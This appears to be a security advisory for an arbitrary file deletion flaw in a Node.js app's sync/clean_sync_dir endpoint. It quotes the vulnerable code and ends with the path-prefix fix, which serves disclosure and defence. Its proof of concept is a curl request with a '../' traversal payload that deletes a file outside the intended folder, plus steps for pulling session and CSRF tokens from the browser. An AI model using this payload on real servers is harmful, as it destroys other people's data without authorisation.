A logged-in user with any role can delete arbitrary files on the filesystem by calling the sync/clean_sync_dir
endpoint. The dir_name
POST parameter is not validated/sanitized and is used to construct the syncDir
that is deleted by calling fs.rm
.
router.post(
"/clean_sync_dir",
error_catcher(async (req, res) => {
const { dir_name } = req.body; // [1] source
try {
const rootFolder = await File.rootFolder();
const syncDir = path.join(
rootFolder.location,
"mobile_app",
"sync",
dir_name // [2]
);
await fs.rm(syncDir, { recursive: true, force: true }); // [3] sink
res.status(200).send("");
} catch (error) {
getState().log(2, `POST /sync/clean_sync_dir: '${error.message}'`);
res.status(400).json({ error: error.message || error });
}
})
);
The following PoC can be executed with a user with any role (admin
, staff
, user
, public
)
create a file in a folder different from where the server is started:
touch /tmp/secret
cat /tmp/secret
log with a user and retrieve valid connect.sid
and _csrf
values*
send the following curl
request
curl -i -X $'POST' \
-H $'Host: localhost:3000' \
-H $'Content-Type: application/x-www-form-urlencoded' \
-H $'Content-Length: 93' \
-H $'Origin: http://localhost:3000' \
-H $'Connection: close' \
-b $'connect.sid=VALID_CONNECT_SID_COOKIE; loggedin=true' \
--data-binary $'_csrf=VALID_CSRF_VALUE&dir_name=/../../../../../../../../../../tmp/secret' \
$'http://localhost:3000/sync/clean_sync_dir'
check if the file previously created does not exist anymore:
cat /tmp/secret
cat: /tmp/secret: No such file or directory
* obtain connect.sid
and _csrf
values
A possible way to retrieve connect.sid
and _csrf
values is to use the password reset functionality:
- log in
- open the browser developer console, go to the Network
tab filter for settings
request
- visit http://localhost:3000/auth/settings
- trigger the change password functionality
- under the Headers
and Request
tabs, grab the connect.sid
and _csrf
values and replace them in the curl command
Arbitrary file delete
Resolve the syncDir
and check if it starts with rootFolder.location/mobile_app/sync
.
{ "nvd_published_at": "2024-10-07T22:15:04Z", "cwe_ids": [ "CWE-22" ], "severity": "HIGH", "github_reviewed": true, "github_reviewed_at": "2024-10-07T15:10:52Z" }